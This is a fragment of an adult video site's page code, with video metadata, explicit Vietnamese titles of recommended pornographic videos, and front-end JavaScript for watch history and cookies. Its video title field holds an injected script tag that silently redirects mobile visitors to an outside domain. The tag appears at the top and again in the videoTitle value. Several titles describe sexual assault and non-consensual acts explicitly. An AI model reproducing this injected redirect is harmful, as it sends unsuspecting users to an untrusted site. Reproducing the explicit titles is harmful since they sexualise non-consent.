</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Tôi đến một khách sạn với một nữ phục vụ được khen ngợi về vẻ đẹp và thân hình gợi cảm. Tôi đã cố gắng thu hút cô phục vụ đã có chồng bằng tiền boa...4 tiếng đồng hồ. (Mèo Đũa Bùn - Emaniel)
Tôi đến một khách sạn với một nữ phục vụ được khen ngợi về vẻ đẹp và thân hình gợi cảm. Tôi đã cố gắng thu hút cô phục vụ đã có chồng bằng tiền boa...4 tiếng đồng hồ. (Mèo Đũa Bùn - Emaniel)","site_id":0,"video_url":"https://2606.senlin2026.com/20260709/zyt6Wy56/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvNzk4MGFjNzQ4OWEwNTQ4ZDU4YzNjYjk2MTVhN2NkZDcuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["我和一位被誉为美丽且身材性感的服务生一起去了一家旅馆,我试着用小费来吸引已婚女服务生…4个小时。 泥棒猫-エマニエル","s_keywords":"我和一位被誉为美丽且身材性感的服务生一起去了一家旅馆,我试着用小费来吸引已婚女服务生…4个小时。 泥棒猫-エマニエル","s_description":"Tôi đến một khách sạn với một nữ phục vụ được khen ngợi về vẻ đẹp và thân hình gợi cảm. Tôi đã cố gắng thu hút cô phục vụ đã có chồng bằng tiền boa...4 tiếng đồng hồ. (Mèo Đũa Bùn - Emaniel)","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNjliMjhhY2ViYTQ2ZjQzYzIyMDUzNDVmNjU1Mzg0NTAuanBn.cache","vod_id":19121926,"title":"XRLE-050 Cô gái văn phòng xinh đẹp bị theo dõi và xâm phạm bất hợp pháp - xuất tinh tàn bạo FUCK05","lastmod":"2025-03-29","duration":"2:32:39","url":"/play/19121926.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvMzMzNWQ4NDRlMGM4NDQ2NDg1OTczOTM4MDE3ZjRlNGMuanBn.cache","vod_id":19232359,"title":"Chuyện tình: lần thứ hai quyến rũ một người phụ nữ đã kết hôn đứng đắn với vòng một đầy đặn.","lastmod":"2025-12-13","duration":"0:13:53","url":"/play/19232359.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNTE4MTBjYzUxNmU0MzE1NjEwNjAwNDk0OTdjZmRmNDUuanBn.cache","vod_id":19142457,"title":"Cô gái tắm bồn có làn da trắng nhất vùng Kansai liên tục đạt đến cực khoái khó tin thông qua các dịch vụ khiêu dâm trong tư thế tắm bồn ngược.","lastmod":"2025-03-29","duration":"2:00:20","url":"/play/19142457.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MjIvOWIxNDU0MWZmYWI2MmFlODAzZWZkNzVmMjg5NDQ4NjYuanBn.cache","vod_id":19204115,"title":"Cô tiếp viên hàng không siêu xinh đẹp Bobo. Cô và bạn mình đã có một cuộc \"chiến đấu tình dục\" kéo dài ba tiếng đồng hồ, và cô ấy đã bị một cô gái mặc quần tất đen và quần jeans cưỡng hiếp dã man.","lastmod":"2025-05-22","duration":"2:02:20","url":"/play/19204115.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZGMxNDdhNjcwMzlmMTY0MzFhNmIwNmU1MjA0OTJlMTEuanBn.cache","vod_id":19064918,"title":"EBOD-923 Khi tôi cởi quần áo của bạn gái đầu tiên... Tôi không thể tưởng tượng được rằng bên dưới lớp quần áo đó là một thân hình mảnh mai và bộ ngực đồ sộ. Tôi đã quá phấn khích đến nỗi quan hệ với cô ấy cho đến khi hoàn toàn kiệt sức về mặt tình dục. Ayase Kokoro","lastmod":"2025-03-29","duration":"2:01:53","url":"/play/19064918.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOTFjMjcyZDRmNTMzZDA4OTIzYTRjOTAzZGI4ODU1MDAuanBn.cache","vod_id":19133455,"title":"Một cuộc tụ họp của những người đã kết hôn có liên quan đến NTR (Netorare) – hai cặp vợ chồng có ảo tưởng bị cắm sừng –","lastmod":"2025-03-29","duration":"2:10:28","url":"/play/19133455.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOTBlZmMzNzkxMzQ0ZGYxZGUxNTRiYzc3YmJkOGU3YjEuanBn.cache","vod_id":19054780,"title":"300MAAN-422 4 lần thâm nhập + 1 lần xuất tinh lên mặt + 5 lần phun tinh dịch! Một người vợ xinh đẹp đến dự tiệc của các bà nội trợ, quyến rũ anh ta bằng những hành vi tình dục hoang dã và bản năng, rồi hút hết tinh dịch của anh ta! \"Trong nhà vệ sinh quán bar...\" \"Trong taxi...\" \"Trong khi nói chuyện điện thoại với chồng...\" Anh ta phát cuồng vì vợ của những người đàn ông khác trong nhiều tình huống khác nhau! Họ liên tục thay đổi địa điểm và tư thế để làm điều này! Một màn quan hệ tình dục cuồng nhiệt với người vợ đang khao khát và liên tục xuất tinh!!!","lastmod":"2025-03-29","duration":"1:04:55","url":"/play/19054780.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZThkZDY1Y2ZjOWIxY2E0NzNlMmJjMTQxOTUzOGVjYjEuanBn.cache","vod_id":19137563,"title":"CHERD-87-C \"Bạn có phiền không nếu lần quan hệ tình dục đầu tiên của bạn với một người phụ nữ lớn tuổi hơn diễn ra không chín chắn?\" Lần quan hệ tình dục đầu tiên tốt nhất là giữa một người còn trinh và một người phụ nữ đã kết hôn, trưởng thành.","lastmod":"2025-03-29","duration":"1:34:59","url":"/play/19137563.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MTYvYzUyNGY0YWIwMjJkNGZhYmY2NmYxNzdkMTA5MzIzYzkuanBn.cache","vod_id":19263805,"title":"Phong cách hoàn toàn độc đáo STYLE@Shiori Một nữ lễ tân tại một công ty nổi tiếng là một cô nàng lẳng lơ, hiện đang ăn chơi ở câu lạc bộ của mình Minami Shiori Ngôi sao đầu tiên","lastmod":"2026-06-15","duration":"2:19:19","url":"/play/19263805.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNGExMGMxZjg0MzU0MGM2NWMwY2MxNDQxYmI4NDk3ZTAuanBn.cache","vod_id":19133320,"title":"Dịch vụ \"Thuê Dì\" đã trở lại! Phần 1: Nếu bạn yêu cầu, bạn thậm chí có thể lén lút quan hệ tình dục với cô ấy!","lastmod":"2025-03-29","duration":"2:16:05","url":"/play/19133320.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDcxM2Q3NDcxZjk4MDUwNTdmZTlmYmM2MDQ4OGMyZjguanBn.cache","vod_id":19134693,"title":"Cháu gái tôi xinh đẹp quá, tôi không chịu nổi nữa rồi!! 24 giờ!","lastmod":"2025-03-29","duration":"4:01:35","url":"/play/19134693.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZWMzZGYyMjNjMDkwNTBkNWFmNjkxZjI4ZTBiM2NiOTMuanBn.cache","vod_id":19163305,"title":"[Cấp độ 3] \"Với ông chủ đã kết hôn mà tôi yêu thích nhất\"","lastmod":"2025-03-30","duration":"2:26:54","url":"/play/19163305.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2NkZGYzZDQ0NGIzNjhhNmY3NWRmYzY0N2E2ZTJjNjIuanBn.cache","vod_id":19042844,"title":"Thảm họa Núi Tuyết NTR ~Sau khi mất bạn trai, Honoka Airi chia sẻ hơi ấm cơ thể của mình với một tay chơi trong trận bão tuyết và bị xâm hại suốt 13 giờ~","lastmod":"2025-03-28","duration":"1:59:53","url":"/play/19042844.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOWI4YTU1ZTI3MzkzMTBhNTJiYzQ2YzM0MGFiMDkzYTkuanBn.cache","vod_id":19036023,"title":"PPPE-009 Đổ mồ hôi và chảy nước dãi với người phụ nữ quỷ quyệt cho đến sáng","lastmod":"2025-03-28","duration":"1:54:55","url":"/play/19036023.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNTNmODE5YjdhNzQ2MzZlMWFmMGYyMTg4NmVmNDk0NTYuanBn.cache","vod_id":19137716,"title":"Một nữ chuyên viên làm đẹp xinh đẹp tại một tiệm làm đẹp gia đình, một người phụ nữ đã kết hôn, liên tục bị người hàng xóm xấu xí với dương vật vô độ của mình làm cho đạt cực khoái!","lastmod":"2025-03-29","duration":"1:58:23","url":"/play/19137716.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODg2NjcwZTRjMTU0ODI2MWY2MTY3ZTZhZDM1ZDNiYTAuanBn.cache","vod_id":19237115,"title":"Một người đàn ông lớn tuổi đã tấn công tình dục một phụ nữ chân dài, mặc quần tất đen trong hơn nửa giờ tại một quán karaoke bằng cách sử dụng \"hộp cơm bento hình tàu hỏa\".","lastmod":"2025-12-29","duration":"0:18:22","url":"/play/19237115.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOGFjYjY4ZmEzNjg4YzAwMDQ4NDMyOTRjZGQwZGY4YTMuanBn.cache","vod_id":19172684,"title":"SONE279 \"Dịch vụ đặc biệt\": Một nhà trị liệu rất tốt bụng và xinh đẹp bí mật cho phép bạn quan hệ tình dục với cô ấy.","lastmod":"2025-03-30","duration":"3:00:42","url":"/play/19172684.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMmFkMWVmYTJkZjhiNTNkMzc2M2MyNmQzMzJiODc3OTguanBn.cache","vod_id":19153137,"title":"Maniaholic 01 ~ Tuyển tập các cảnh sex nhập vai giữa các chàng trai và những cô gái xinh đẹp.","lastmod":"2025-03-30","duration":"4:04:43","url":"/play/19153137.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZTliNTk2MmI1ZGMzMDRiZWY3YzYxY2EwNjc4M2ViZGMuanBn.cache","vod_id":19133368,"title":"Dịch vụ \"Dì cho thuê\" hứa hẹn lợi nhuận 25. Nếu bạn hỏi, dì ấy thậm chí có thể cho phép bạn quan hệ tình dục bí mật với dì ấy!","lastmod":"2025-03-29","duration":"2:11:14","url":"/play/19133368.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDVlOWQ0MmE3NDI3NzAzN2RhMzFkYmRmYzVhMjAwNGYuanBn.cache","vod_id":19091158,"title":"Một người mẫu nữ xinh đẹp với thân hình quyến rũ, Xiaoyu, đang thực hiện một buổi chụp ảnh riêng tư quy mô lớn tại một khách sạn. Nhiếp ảnh gia đã chụp được cảnh cô ấy dang rộng hai chân và vùng kín đang mở rộng. Phải chăng cô ấy đang quan hệ tình dục? Độ phân giải 1080P HD.","lastmod":"2025-03-29","duration":"0:51:28","url":"/play/19091158.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzBlN2JjYjc1NjAzYWRkZmY5MjIzZmRmN2QwZDFjNGMuanBn.cache","vod_id":19103306,"title":"Tôi mê mẩn đôi chân gợi cảm của bạn.","lastmod":"2025-03-29","duration":"0:23:33","url":"/play/19103306.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZjRmODJkY2IwOGIwZTk2ZDMyNmM3ZmZlM2RiNjI4MjguanBn.cache","vod_id":19048847,"title":"FC2-PPV 705308 [Bán lại] Cô nàng Cedar xinh đẹp! ☆ Người phụ nữ đã kết hôn 38 tuổi đầy ham muốn lần đầu quan hệ 4P♪ Ba lần xuất tinh liên tiếp [Quay phim riêng]","lastmod":"2025-03-29","duration":"1:09:50","url":"/play/19048847.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMTA0MmE1NTJjODNjYjQzNzhiMDQ3NzA5MDExYWQ3NGMuanBn.cache","vod_id":19127208,"title":"ROE-169 Tôi bị quyến rũ bởi thân hình đầy đặn của mẹ kế, người muốn trở thành người mẫu nội y... Suốt cả tuần, tôi liên tục đắm chìm trong bản năng của bà ấy.","lastmod":"2025-03-29","duration":"1:57:43","url":"/play/19127208.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjQ1OWI4ZWZjNGY1MTU0ZDhmMGQ4NjVmNDdmZGE2YzMuanBn.cache","vod_id":19163812,"title":"Chất pheromone cứ rò rỉ! 10 người phụ nữ trưởng thành cực kỳ gợi cảm bị ép phải tán tỉnh, và khuôn mặt của họ bị lộ ra sau 5 giờ! Sữa trào ra! Phóng tinh! Parada Is! -Diễn viên không rõ danh tính-cd1.","lastmod":"2025-03-30","duration":"2:30:08","url":"/play/19163812.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Tôi đến một khách sạn với một nữ phục vụ được khen ngợi về vẻ đẹp và thân hình gợi cảm. Tôi đã cố gắng thu hút cô phục vụ đã có chồng bằng tiền boa...4 tiếng đồng hồ. (Mèo Đũa Bùn - Emaniel)',
language: 'vi',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Đã sao chép liên kết!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}